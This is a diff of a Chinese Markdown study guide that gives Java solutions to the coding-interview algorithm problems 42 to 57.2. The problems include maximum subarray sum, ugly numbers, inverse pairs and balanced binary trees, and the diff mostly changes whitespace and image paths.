 ```
 
-# 42. 连续子数组的最大和
+# 42. 连续子数组的最大和
 
 [NowCoder](https://www.nowcoder.com/practice/459bd355da1549fa8a49e350bf3df484?tpId=13&tqId=11183&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
+{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int FindGreatestSumOfSubArray(int[] nums) {
-    if (nums == null || nums.length == 0)
-        return 0;
-    int greatestSum = Integer.MIN_VALUE;
-    int sum = 0;
-    for (int val : nums) {
-        sum = sum <= 0 ? val : sum + val;
-        greatestSum = Math.max(greatestSum, sum);
-    }
-    return greatestSum;
+public int FindGreatestSumOfSubArray(int[] nums) {
+    if (nums == null || nums.length == 0)
+        return 0;
+    int greatestSum = Integer.MIN_VALUE;
+    int sum = 0;
+    for (int val : nums) {
+        sum = sum <= 0 ? val : sum + val;
+        greatestSum = Math.max(greatestSum, sum);
+    }
+    return greatestSum;
 }
 ```
 
-# 43. 从 1 到 n 整数中 1 出现的次数
+# 43. 从 1 到 n 整数中 1 出现的次数
 
 [NowCoder](https://www.nowcoder.com/practice/bd7f978302044eee894445e244c7eee6?tpId=13&tqId=11184&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
 ```java
-public int NumberOf1Between1AndN_Solution(int n) {
-    int cnt = 0;
-    for (int m = 1; m <= n; m *= 10) {
-        int a = n / m, b = n % m;
-        cnt += (a + 8) / 10 * m + (a % 10 == 1 ? b + 1 : 0);
-    }
-    return cnt;
+public int NumberOf1Between1AndN_Solution(int n) {
+    int cnt = 0;
+    for (int m = 1; m <= n; m *= 10) {
+        int a = n / m, b = n % m;
+        cnt += (a + 8) / 10 * m + (a % 10 == 1 ? b + 1 : 0);
+    }
+    return cnt;
 }
 ```
 
-> [Leetcode : 233. Number of Digit One](https://leetcode.com/problems/number-of-digit-one/discuss/64381/4+-lines-O(log-n)-C++JavaPython)
+> [Leetcode : 233. Number of Digit One](https://leetcode.com/problems/number-of-digit-one/discuss/64381/4+-lines-O(log-n)-C++JavaPython)
 
-# 44. 数字序列中的某一位数字
+# 44. 数字序列中的某一位数字
 
-## 题目描述
+## 题目描述
 
-数字以 0123456789101112131415... 的格式序列化到一个字符串中，求这个字符串的第 index 位。
+数字以 0123456789101112131415... 的格式序列化到一个字符串中，求这个字符串的第 index 位。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int getDigitAtIndex(int index) {
-    if (index < 0)
-        return -1;
-    int place = 1;  // 1 表示个位，2 表示 十位...
-    while (true) {
-        int amount = getAmountOfPlace(place);
-        int totalAmount = amount * place;
-        if (index < totalAmount)
-            return getDigitAtIndex(index, place);
-        index -= totalAmount;
-        place++;
-    }
+public int getDigitAtIndex(int index) {
+    if (index < 0)
+        return -1;
+    int place = 1;  // 1 表示个位，2 表示 十位...
+    while (true) {
+        int amount = getAmountOfPlace(place);
+        int totalAmount = amount * place;
+        if (index < totalAmount)
+            return getDigitAtIndex(index, place);
+        index -= totalAmount;
+        place++;
+    }
 }
 
 /**
- * place 位数的数字组成的字符串长度
- * 10, 90, 900, ...
- */
-private int getAmountOfPlace(int place) {
-    if (place == 1)
-        return 10;
-    return (int) Math.pow(10, place - 1) * 9;
+ * place 位数的数字组成的字符串长度
+ * 10, 90, 900, ...
+ */
+private int getAmountOfPlace(int place) {
+    if (place == 1)
+        return 10;
+    return (int) Math.pow(10, place - 1) * 9;
 }
 
 /**
- * place 位数的起始数字
- * 0, 10, 100, ...
- */
-private int getBeginNumberOfPlace(int place) {
-    if (place == 1)
-        return 0;
-    return (int) Math.pow(10, place - 1);
+ * place 位数的起始数字
+ * 0, 10, 100, ...
+ */
+private int getBeginNumberOfPlace(int place) {
+    if (place == 1)
+        return 0;
+    return (int) Math.pow(10, place - 1);
 }
 
 /**
- * 在 place 位数组成的字符串中，第 index 个数
- */
-private int getDigitAtIndex(int index, int place) {
-    int beginNumber = getBeginNumberOfPlace(place);
-    int shiftNumber = index / place;
-    String number = (beginNumber + shiftNumber) + "";
-    int count = index % place;
-    return number.charAt(count) - '0';
+ * 在 place 位数组成的字符串中，第 index 个数
+ */
+private int getDigitAtIndex(int index, int place) {
+    int beginNumber = getBeginNumberOfPlace(place);
+    int shiftNumber = index / place;
+    String number = (beginNumber + shiftNumber) + "";
+    int count = index % place;
+    return number.charAt(count) - '0';
 }
 ```
 
-# 45. 把数组排成最小的数
+# 45. 把数组排成最小的数
 
 [NowCoder](https://www.nowcoder.com/practice/8fecd3f8ba334add803bf2a06af1b993?tpId=13&tqId=11185&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个正整数数组，把数组里所有数字拼接起来排成一个数，打印能拼接出的所有数字中最小的一个。例如输入数组 {3，32，321}，则打印出这三个数字能排成的最小数字为 321323。
+输入一个正整数数组，把数组里所有数字拼接起来排成一个数，打印能拼接出的所有数字中最小的一个。例如输入数组 {3，32，321}，则打印出这三个数字能排成的最小数字为 321323。
 
-## 解题思路
+## 解题思路
 
-可以看成是一个排序问题，在比较两个字符串 S1 和 S2 的大小时，应该比较的是 S1+S2 和 S2+S1 的大小，如果 S1+S2 < S2+S1，那么应该把 S1 排在前面，否则应该把 S2 排在前面。
+可以看成是一个排序问题，在比较两个字符串 S1 和 S2 的大小时，应该比较的是 S1+S2 和 S2+S1 的大小，如果 S1+S2 < S2+S1，那么应该把 S1 排在前面，否则应该把 S2 排在前面。
 
 ```java
-public String PrintMinNumber(int[] numbers) {
-    if (numbers == null || numbers.length == 0)
-        return "";
-    int n = numbers.length;
-    String[] nums = new String[n];
-    for (int i = 0; i < n; i++)
-        nums[i] = numbers[i] + "";
-    Arrays.sort(nums, (s1, s2) -> (s1 + s2).compareTo(s2 + s1));
-    String ret = "";
-    for (String str : nums)
-        ret += str;
-    return ret;
+public String PrintMinNumber(int[] numbers) {
+    if (numbers == null || numbers.length == 0)
+        return "";
+    int n = numbers.length;
+    String[] nums = new String[n];
+    for (int i = 0; i < n; i++)
+        nums[i] = numbers[i] + "";
+    Arrays.sort(nums, (s1, s2) -> (s1 + s2).compareTo(s2 + s1));
+    String ret = "";
+    for (String str : nums)
+        ret += str;
+    return ret;
 }
 ```
 
-# 46. 把数字翻译成字符串
+# 46. 把数字翻译成字符串
 
 [Leetcode](https://leetcode.com/problems/decode-ways/description/)
 
-## 题目描述
+## 题目描述
 
-给定一个数字，按照如下规则翻译成字符串：1 翻译成“a”，2 翻译成“b”... 26 翻译成“z”。一个数字有多种翻译可能，例如 12258 一共有 5 种，分别是 abbeh，lbeh，aveh，abyh，lyh。实现一个函数，用来计算一个数字有多少种不同的翻译方法。
+给定一个数字，按照如下规则翻译成字符串：1 翻译成“a”，2 翻译成“b”... 26 翻译成“z”。一个数字有多种翻译可能，例如 12258 一共有 5 种，分别是 abbeh，lbeh，aveh，abyh，lyh。实现一个函数，用来计算一个数字有多少种不同的翻译方法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int numDecodings(String s) {
-    if (s == null || s.length() == 0)
-        return 0;
-    int n = s.length();
-    int[] dp = new int[n + 1];
-    dp[0] = 1;
-    dp[1] = s.charAt(0) == '0' ? 0 : 1;
-    for (int i = 2; i <= n; i++) {
-        int one = Integer.valueOf(s.substring(i - 1, i));
-        if (one != 0)
-            dp[i] += dp[i - 1];
-        if (s.charAt(i - 2) == '0')
-            continue;
-        int two = Integer.valueOf(s.substring(i - 2, i));
-        if (two <= 26)
-            dp[i] += dp[i - 2];
-    }
-    return dp[n];
+public int numDecodings(String s) {
+    if (s == null || s.length() == 0)
+        return 0;
+    int n = s.length();
+    int[] dp = new int[n + 1];
+    dp[0] = 1;
+    dp[1] = s.charAt(0) == '0' ? 0 : 1;
+    for (int i = 2; i <= n; i++) {
+        int one = Integer.valueOf(s.substring(i - 1, i));
+        if (one != 0)
+            dp[i] += dp[i - 1];
+        if (s.charAt(i - 2) == '0')
+            continue;
+        int two = Integer.valueOf(s.substring(i - 2, i));
+        if (two <= 26)
+            dp[i] += dp[i - 2];
+    }
+    return dp[n];
 }
 ```
 
-# 47. 礼物的最大价值
+# 47. 礼物的最大价值
 
 [NowCoder](https://www.nowcoder.com/questionTerminal/72a99e28381a407991f2c96d8cb238ab)
 
-## 题目描述
+## 题目描述
 
-在一个 m\*n 的棋盘的每一个格都放有一个礼物，每个礼物都有一定价值（大于 0）。从左上角开始拿礼物，每次向右或向下移动一格，直到右下角结束。给定一个棋盘，求拿到礼物的最大价值。例如，对于如下棋盘
+在一个 m\*n 的棋盘的每一个格都放有一个礼物，每个礼物都有一定价值（大于 0）。从左上角开始拿礼物，每次向右或向下移动一格，直到右下角结束。给定一个棋盘，求拿到礼物的最大价值。例如，对于如下棋盘
 
 ```
-1    10   3    8
-12   2    9    6
-5    7    4    11
-3    7    16   5
+1    10   3    8
+12   2    9    6
+5    7    4    11
+3    7    16   5
 ```
 
-礼物的最大价值为 1+12+5+7+7+16+5=53。
+礼物的最大价值为 1+12+5+7+7+16+5=53。
 
-## 解题思路
+## 解题思路
 
 应该用动态规划求解，而不是深度优先搜索，深度优先搜索过于复杂，不是最优解。
 
 ```java
-public int getMost(int[][] values) {
-    if (values == null || values.length == 0 || values[0].length == 0)
-        return 0;
-    int n = values[0].length;
-    int[] dp = new int[n];
-    for (int[] value : values) {
-        dp[0] += value[0];
-        for (int i = 1; i < n; i++)
-            dp[i] = Math.max(dp[i], dp[i - 1]) + value[i];
-    }
-    return dp[n - 1];
+public int getMost(int[][] values) {
+    if (values == null || values.length == 0 || values[0].length == 0)
+        return 0;
+    int n = values[0].length;
+    int[] dp = new int[n];
+    for (int[] value : values) {
+        dp[0] += value[0];
+        for (int i = 1; i < n; i++)
+            dp[i] = Math.max(dp[i], dp[i - 1]) + value[i];
+    }
+    return dp[n - 1];
 }
 ```
 
-# 48. 最长不含重复字符的子字符串
+# 48. 最长不含重复字符的子字符串
 
-## 题目描述
+## 题目描述
 
-输入一个字符串（只包含 a~z 的字符），求其最长不含重复字符的子字符串的长度。例如对于 arabcacfr，最长不含重复字符的子字符串为 acfr，长度为 4。
+输入一个字符串（只包含 a\~z 的字符），求其最长不含重复字符的子字符串的长度。例如对于 arabcacfr，最长不含重复字符的子字符串为 acfr，长度为 4。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int longestSubStringWithoutDuplication(String str) {
-    int curLen = 0;
-    int maxLen = 0;
-    int[] preIndexs = new int[26];
-    Arrays.fill(preIndexs, -1);
-    for (int curI = 0; curI < str.length(); curI++) {
-        int c = str.charAt(curI) - 'a';
-        int preI = preIndexs[c];
-        if (preI == -1 || curI - preI > curLen) {
-            curLen++;
-        } else {
-            maxLen = Math.max(maxLen, curLen);
-            curLen = curI - preI;
-        }
-        preIndexs[c] = curI;
-    }
-    maxLen = Math.max(maxLen, curLen);
-    return maxLen;
+public int longestSubStringWithoutDuplication(String str) {
+    int curLen = 0;
+    int maxLen = 0;
+    int[] preIndexs = new int[26];
+    Arrays.fill(preIndexs, -1);
+    for (int curI = 0; curI < str.length(); curI++) {
+        int c = str.charAt(curI) - 'a';
+        int preI = preIndexs[c];
+        if (preI == -1 || curI - preI > curLen) {
+            curLen++;
+        } else {
+            maxLen = Math.max(maxLen, curLen);
+            curLen = curI - preI;
+        }
+        preIndexs[c] = curI;
+    }
+    maxLen = Math.max(maxLen, curLen);
+    return maxLen;
 }
 ```
 
-# 49. 丑数
+# 49. 丑数
 
 [NowCoder](https://www.nowcoder.com/practice/6aa9e04fc3794f68acf8778237ba065b?tpId=13&tqId=11186&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-把只包含因子 2、3 和 5 的数称作丑数（Ugly Number）。例如 6、8 都是丑数，但 14 不是，因为它包含因子 7。习惯上我们把 1 当做是第一个丑数。求按从小到大的顺序的第 N 个丑数。
+把只包含因子 2、3 和 5 的数称作丑数（Ugly Number）。例如 6、8 都是丑数，但 14 不是，因为它包含因子 7。习惯上我们把 1 当做是第一个丑数。求按从小到大的顺序的第 N 个丑数。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int GetUglyNumber_Solution(int N) {
-    if (N <= 6)
-        return N;
-    int i2 = 0, i3 = 0, i5 = 0;
-    int[] dp = new int[N];
-    dp[0] = 1;
-    for (int i = 1; i < N; i++) {
-        int next2 = dp[i2] * 2, next3 = dp[i3] * 3, next5 = dp[i5] * 5;
-        dp[i] = Math.min(next2, Math.min(next3, next5));
-        if (dp[i] == next2)
-            i2++;
-        if (dp[i] == next3)
-            i3++;
-        if (dp[i] == next5)
-            i5++;
-    }
-    return dp[N - 1];
+public int GetUglyNumber_Solution(int N) {
+    if (N <= 6)
+        return N;
+    int i2 = 0, i3 = 0, i5 = 0;
+    int[] dp = new int[N];
+    dp[0] = 1;
+    for (int i = 1; i < N; i++) {
+        int next2 = dp[i2] * 2, next3 = dp[i3] * 3, next5 = dp[i5] * 5;
+        dp[i] = Math.min(next2, Math.min(next3, next5));
+        if (dp[i] == next2)
+            i2++;
+        if (dp[i] == next3)
+            i3++;
+        if (dp[i] == next5)
+            i5++;
+    }
+    return dp[N - 1];
 }
 ```
 
-# 50. 第一个只出现一次的字符位置
+# 50. 第一个只出现一次的字符位置
 
 [NowCoder](https://www.nowcoder.com/practice/1c82e8cf713b4bbeb2a5b31cf5b0417c?tpId=13&tqId=11187&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 在一个字符串中找到第一个只出现一次的字符，并返回它的位置。
 
-## 解题思路
+## 解题思路
 
-最直观的解法是使用 HashMap 对出现次数进行统计，但是考虑到要统计的字符范围有限，因此可以使用整型数组代替 HashMap。
+最直观的解法是使用 HashMap 对出现次数进行统计，但是考虑到要统计的字符范围有限，因此可以使用整型数组代替 HashMap。
 
 ```java
-public int FirstNotRepeatingChar(String str) {
-    int[] cnts = new int[256];
-    for (int i = 0; i < str.length(); i++)
-        cnts[str.charAt(i)]++;
-    for (int i = 0; i < str.length(); i++)
-        if (cnts[str.charAt(i)] == 1)
-            return i;
-    return -1;
+public int FirstNotRepeatingChar(String str) {
+    int[] cnts = new int[256];
+    for (int i = 0; i < str.length(); i++)
+        cnts[str.charAt(i)]++;
+    for (int i = 0; i < str.length(); i++)
+        if (cnts[str.charAt(i)] == 1)
+            return i;
+    return -1;
 }
 ```
 
-以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符，那么需要统计的次数信息只有 0,1,更大，使用两个比特位就能存储这些信息。
+以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符，那么需要统计的次数信息只有 0,1,更大，使用两个比特位就能存储这些信息。
 
 ```java
-public int FirstNotRepeatingChar2(String str) {
-    BitSet bs1 = new BitSet(256);
-    BitSet bs2 = new BitSet(256);
-    for (char c : str.toCharArray()) {
-        if (!bs1.get(c) && !bs2.get(c))
-            bs1.set(c);     // 0 0 -> 0 1
-        else if (bs1.get(c) && !bs2.get(c))
-            bs2.set(c);     // 0 1 -> 1 1
-    }
-    for (int i = 0; i < str.length(); i++) {
-        char c = str.charAt(i);
-        if (bs1.get(c) && !bs2.get(c))  // 0 1
-            return i;
-    }
-    return -1;
+public int FirstNotRepeatingChar2(String str) {
+    BitSet bs1 = new BitSet(256);
+    BitSet bs2 = new BitSet(256);
+    for (char c : str.toCharArray()) {
+        if (!bs1.get(c) && !bs2.get(c))
+            bs1.set(c);     // 0 0 -> 0 1
+        else if (bs1.get(c) && !bs2.get(c))
+            bs2.set(c);     // 0 1 -> 1 1
+    }
+    for (int i = 0; i < str.length(); i++) {
+        char c = str.charAt(i);
+        if (bs1.get(c) && !bs2.get(c))  // 0 1
+            return i;
+    }
+    return -1;
 }
 ```
 
-# 51. 数组中的逆序对
+# 51. 数组中的逆序对
 
 [NowCoder](https://www.nowcoder.com/practice/96bd6684e04a44eb80e6a68efc0ec6c5?tpId=13&tqId=11188&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 在数组中的两个数字，如果前面一个数字大于后面的数字，则这两个数字组成一个逆序对。输入一个数组，求出这个数组中的逆序对的总数。
 
-## 解题思路
+## 解题思路
 
 ```java
-private long cnt = 0;
-private int[] tmp;  // 在这里声明辅助数组，而不是在 merge() 递归函数中声明
+private long cnt = 0;
+private int[] tmp;  // 在这里声明辅助数组，而不是在 merge() 递归函数中声明
 
-public int InversePairs(int[] nums) {
-    tmp = new int[nums.length];
-    mergeSort(nums, 0, nums.length - 1);
-    return (int) (cnt % 1000000007);
+public int InversePairs(int[] nums) {
+    tmp = new int[nums.length];
+    mergeSort(nums, 0, nums.length - 1);
+    return (int) (cnt % 1000000007);
 }
 
-private void mergeSort(int[] nums, int l, int h) {
-    if (h - l < 1)
-        return;
-    int m = l + (h - l) / 2;
-    mergeSort(nums, l, m);
-    mergeSort(nums, m + 1, h);
-    merge(nums, l, m, h);
+private void mergeSort(int[] nums, int l, int h) {
+    if (h - l < 1)
+        return;
+    int m = l + (h - l) / 2;
+    mergeSort(nums, l, m);
+    mergeSort(nums, m + 1, h);
+    merge(nums, l, m, h);
 }
 
-private void merge(int[] nums, int l, int m, int h) {
-    int i = l, j = m + 1, k = l;
-    while (i <= m || j <= h) {
-        if (i > m)
-            tmp[k] = nums[j++];
-        else if (j > h)
-            tmp[k] = nums[i++];
-        else if (nums[i] < nums[j])
-            tmp[k] = nums[i++];
-        else {
-            tmp[k] = nums[j++];
-            this.cnt += m - i + 1;  // nums[i] >= nums[j]，说明 nums[i...mid] 都大于 nums[j]
-        }
-        k++;
-    }
-    for (k = l; k <= h; k++)
-        nums[k] = tmp[k];
+private void merge(int[] nums, int l, int m, int h) {
+    int i = l, j = m + 1, k = l;
+    while (i <= m || j <= h) {
+        if (i > m)
+            tmp[k] = nums[j++];
+        else if (j > h)
+            tmp[k] = nums[i++];
+        else if (nums[i] < nums[j])
+            tmp[k] = nums[i++];
+        else {
+            tmp[k] = nums[j++];
+            this.cnt += m - i + 1;  // nums[i] >= nums[j]，说明 nums[i...mid] 都大于 nums[j]
+        }
+        k++;
+    }
+    for (k = l; k <= h; k++)
+        nums[k] = tmp[k];
 }
 ```
 
-# 52. 两个链表的第一个公共结点
+# 52. 两个链表的第一个公共结点
 
 [NowCoder](https://www.nowcoder.com/practice/6ab1d9a29e88450685099d45c9e31e46?tpId=13&tqId=11189&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/>
+<div align="center"> <img src="pics/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/> </div><br>
 
-## 解题思路
+## 解题思路
 
-设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
+设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
 
-当访问链表 A 的指针访问到链表尾部时，令它从链表 B 的头部重新开始访问链表 B；同样地，当访问链表 B 的指针访问到链表尾部时，令它从链表 A 的头部重新开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
+当访问链表 A 的指针访问到链表尾部时，令它从链表 B 的头部重新开始访问链表 B；同样地，当访问链表 B 的指针访问到链表尾部时，令它从链表 A 的头部重新开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
 
 ```java
-public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) {
-    ListNode l1 = pHead1, l2 = pHead2;
-    while (l1 != l2) {
-        l1 = (l1 == null) ? pHead2 : l1.next;
-        l2 = (l2 == null) ? pHead1 : l2.next;
-    }
-    return l1;
+public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) {
+    ListNode l1 = pHead1, l2 = pHead2;
+    while (l1 != l2) {
+        l1 = (l1 == null) ? pHead2 : l1.next;
+        l2 = (l2 == null) ? pHead1 : l2.next;
+    }
+    return l1;
 }
 ```
 
-# 53. 数字在排序数组中出现的次数
+# 53. 数字在排序数组中出现的次数
 
 [NowCoder](https://www.nowcoder.com/practice/70610bf967994b22bb1c26f9ae901fa2?tpId=13&tqId=11190&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
-nums = 1, 2, 3, 3, 3, 3, 4, 6
-K = 3
+nums = 1, 2, 3, 3, 3, 3, 4, 6
+K = 3
 
 Output:
 4
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public int GetNumberOfK(int[] nums, int K) {
-    int first = binarySearch(nums, K);
-    int last = binarySearch(nums, K + 1);
-    return (first == nums.length || nums[first] != K) ? 0 : last - first;
+public int GetNumberOfK(int[] nums, int K) {
+    int first = binarySearch(nums, K);
+    int last = binarySearch(nums, K + 1);
+    return (first == nums.length || nums[first] != K) ? 0 : last - first;
 }
 
-private int binarySearch(int[] nums, int K) {
-    int l = 0, h = nums.length;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= K)
-            h = m;
-        else
-            l = m + 1;
-    }
-    return l;
+private int binarySearch(int[] nums, int K) {
+    int l = 0, h = nums.length;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= K)
+            h = m;
+        else
+            l = m + 1;
+    }
+    return l;
 }
 ```
 
-# 54. 二叉查找树的第 K 个结点
+# 54. 二叉查找树的第 K 个结点
 
 [NowCoder](https://www.nowcoder.com/practice/ef068f602dde4d28aab2b210e859150a?tpId=13&tqId=11215&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
 利用二叉查找树中序遍历有序的特点。
 
 ```java
-private TreeNode ret;
-private int cnt = 0;
+private TreeNode ret;
+private int cnt = 0;
 
-public TreeNode KthNode(TreeNode pRoot, int k) {
-    inOrder(pRoot, k);
-    return ret;
+public TreeNode KthNode(TreeNode pRoot, int k) {
+    inOrder(pRoot, k);
+    return ret;
 }
 
-private void inOrder(TreeNode root, int k) {
-    if (root == null || cnt >= k)
-        return;
-    inOrder(root.left, k);
-    cnt++;
-    if (cnt == k)
-        ret = root;
-    inOrder(root.right, k);
+private void inOrder(TreeNode root, int k) {
+    if (root == null || cnt >= k)
+        return;
+    inOrder(root.left, k);
+    cnt++;
+    if (cnt == k)
+        ret = root;
+    inOrder(root.right, k);
 }
 ```
 
-# 55.1 二叉树的深度
+# 55.1 二叉树的深度
 
 [NowCoder](https://www.nowcoder.com/practice/435fb86331474282a3499955f0a41e8b?tpId=13&tqId=11191&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 从根结点到叶结点依次经过的结点（含根、叶结点）形成树的一条路径，最长路径的长度为树的深度。
 
-<img src="index_files/b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/>
+<div align="center"> <img src="pics/b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-public int TreeDepth(TreeNode root) {
-    return root == null ? 0 : 1 + Math.max(TreeDepth(root.left), TreeDepth(root.right));
+public int TreeDepth(TreeNode root) {
+    return root == null ? 0 : 1 + Math.max(TreeDepth(root.left), TreeDepth(root.right));
 }
 ```
 
-# 55.2 平衡二叉树
+# 55.2 平衡二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8b3b95850edb4115918ecebdf1b4d222?tpId=13&tqId=11192&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-平衡二叉树左右子树高度差不超过 1。
+平衡二叉树左右子树高度差不超过 1。
 
-<img src="index_files/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/>
+<div align="center"> <img src="pics/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-private boolean isBalanced = true;
+private boolean isBalanced = true;
 
-public boolean IsBalanced_Solution(TreeNode root) {
-    height(root);
-    return isBalanced;
+public boolean IsBalanced_Solution(TreeNode root) {
+    height(root);
+    return isBalanced;
 }
 
-private int height(TreeNode root) {
-    if (root == null || !isBalanced)
-        return 0;
-    int left = height(root.left);
-    int right = height(root.right);
-    if (Math.abs(left - right) > 1)
-        isBalanced = false;
-    return 1 + Math.max(left, right);
+private int height(TreeNode root) {
+    if (root == null || !isBalanced)
+        return 0;
+    int left = height(root.left);
+    int right = height(root.right);
+    if (Math.abs(left - right) > 1)
+        isBalanced = false;
+    return 1 + Math.max(left, right);
 }
 ```
 
-# 56. 数组中只出现一次的数字
+# 56. 数组中只出现一次的数字
 
 [NowCoder](https://www.nowcoder.com/practice/e02fdb54d7524710a7d664d082bb7811?tpId=13&tqId=11193&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 一个整型数组里除了两个数字之外，其他的数字都出现了两次，找出这两个数。
 
-## 解题思路
+## 解题思路
 
 两个不相等的元素在位级表示上必定会有一位存在不同，将数组的所有元素异或得到的结果为不存在重复的两个元素异或的结果。
 
-diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
+diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
 
 ```java
-public void FindNumsAppearOnce(int[] nums, int num1[], int num2[]) {
-    int diff = 0;
-    for (int num : nums)
-        diff ^= num;
-    diff &= -diff;
-    for (int num : nums) {
-        if ((num & diff) == 0)
-            num1[0] ^= num;
-        else
-            num2[0] ^= num;
-    }
+public void FindNumsAppearOnce(int[] nums, int num1[], int num2[]) {
+    int diff = 0;
+    for (int num : nums)
+        diff ^= num;
+    diff &= -diff;
+    for (int num : nums) {
+        if ((num & diff) == 0)
+            num1[0] ^= num;
+        else
+            num2[0] ^= num;
+    }
 }
 ```
 
-# 57.1 和为 S 的两个数字
+# 57.1 和为 S 的两个数字
 
 [NowCoder](https://www.nowcoder.com/practice/390da4f7a00f44bea7c2f3d19491311b?tpId=13&tqId=11195&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个递增排序的数组和一个数字 S，在数组中查找两个数，使得他们的和正好是 S。如果有多对数字的和等于 S，输出两个数的乘积最小的。
+输入一个递增排序的数组和一个数字 S，在数组中查找两个数，使得他们的和正好是 S。如果有多对数字的和等于 S，输出两个数的乘积最小的。
 
-## 解题思路
+## 解题思路
 
 使用双指针，一个指针指向元素较小的值，一个指针指向元素较大的值。指向较小元素的指针从头向尾遍历，指向较大元素的指针从尾向头遍历。
 
-- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
-- 如果 sum > target，移动较大的元素，使 sum 变小一些；
-- 如果 sum < target，移动较小的元素，使 sum 变大一些。
+- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
+- 如果 sum > target，移动较大的元素，使 sum 变小一些；
+- 如果 sum < target，移动较小的元素，使 sum 变大一些。
 
 ```java
-public ArrayList<Integer> FindNumbersWithSum(int[] array, int sum) {
-    int i = 0, j = array.length - 1;
-    while (i < j) {
-        int cur = array[i] + array[j];
-        if (cur == sum)
-            return new ArrayList<>(Arrays.asList(array[i], array[j]));
-        if (cur < sum)
-            i++;
-        else
-            j--;
-    }
-    return new ArrayList<>();
+public ArrayList<Integer> FindNumbersWithSum(int[] array, int sum) {
+    int i = 0, j = array.length - 1;
+    while (i < j) {
+        int cur = array[i] + array[j];
+        if (cur == sum)
+            return new ArrayList<>(Arrays.asList(array[i], array[j]));
+        if (cur < sum)
+            i++;
+        else
+            j--;
+    }
+    return new ArrayList<>();
 }
 ```
 
-# 57.2 和为 S 的连续正数序列
+# 57.2 和为 S 的连续正数序列
 
 [NowCoder](https://www.nowcoder.com/practice/c451a3fd84b64cb19485dad758a55ebe?tpId=13&tqId=11194&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输出所有和为 S 的连续正数序列。
+输出所有和为 S 的连续正数序列。
 
-例如和为 100 的连续序列有：
+例如和为 100 的连续序列有：
 
 ```
-[9, 10, 11, 12, 13, 14, 15, 16]
-[18, 19, 20, 21, 22]。
+[9, 10, 11, 12, 13, 14, 15, 16]
+[18, 19, 20, 21, 22]。
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    int start = 1, end = 2;
-    int curSum = 3;
-    while (end < sum) {
-        if (curSum > sum) {
-            curSum -= start;
-            start++;
-        } else if (curSum < sum) {
-            end++;
-            curSum += end;
-        } else {
-            ArrayList<Integer> list = new ArrayList<>();
-            for (int i = start; i <= end; i++)
-                list.add(i);
-            ret.add(list);
-            curSum -= start;
-            start++;
-            end++;
-            curSum += end;
-        }
